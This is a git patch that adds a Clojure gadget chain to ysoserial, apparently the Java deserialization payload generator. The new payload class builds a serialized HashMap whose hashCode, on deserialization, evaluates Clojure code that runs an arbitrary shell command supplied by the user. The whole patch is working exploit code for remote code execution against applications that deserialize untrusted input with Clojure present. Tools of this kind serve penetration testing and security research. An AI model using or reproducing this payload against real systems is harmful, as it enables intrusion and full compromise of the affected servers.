From 4cb0a5a17aec9b93021dee3317dae670c132111c Mon Sep 17 00:00:00 2001 From: Ian Haken Date: Sat, 8 Jul 2017 09:39:07 -0700 Subject: [PATCH] Add a gadget chain for exploiting the presence of clojure. --- pom.xml | 5 ++ src/main/java/ysoserial/payloads/Clojure.java | 62 +++++++++++++++++++ 2 files changed, 67 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Clojure.java diff --git a/pom.xml b/pom.xml index 4b1631a..bfa1b2e 100644 --- a/pom.xml +++ b/pom.xml @@ -297,6 +297,11 @@ slf4j-api 1.7.21 + + org.clojure + clojure + 1.8.0 + diff --git a/src/main/java/ysoserial/payloads/Clojure.java b/src/main/java/ysoserial/payloads/Clojure.java new file mode 100644 index 0000000..f0ad911 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Clojure.java @@ -0,0 +1,62 @@ +package ysoserial.payloads; + +import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; +import clojure.lang.PersistentArrayMap; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; + +import java.util.HashMap; +import java.util.Map; + +/* + Gadget chain: + ObjectInputStream.readObject() + HashMap.readObject() + AbstractTableModel$ff19274a.hashCode() + clojure.core$comp$fn__4727.invoke() + clojure.core$constantly$fn__4614.invoke() + clojure.main$eval_opt.invoke() + + Requires: + org.clojure:clojure + Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions + */ +@Dependencies({"org.clojure:clojure:1.8.0"}) +public class Clojure extends PayloadRunner implements ObjectPayload> { + + public Map getObject(final String command) throws Exception { + + final String[] execArgs = command.split(" "); + final StringBuilder commandArgs = new StringBuilder(); + for (String arg : execArgs) { + commandArgs.append("\" \""); + commandArgs.append(arg); + } + commandArgs.append("\""); + + final String clojurePayload = + String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); + + Map fnMap = new HashMap(); + fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); + + AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + + HashMap targetMap = new HashMap(); + targetMap.put(model, null); + + fnMap.put("hashCode", + new clojure.core$comp().invoke( + new clojure.main$eval_opt(), + new clojure.core$constantly().invoke(clojurePayload))); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + + return targetMap; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Clojure.class, args); + } + +}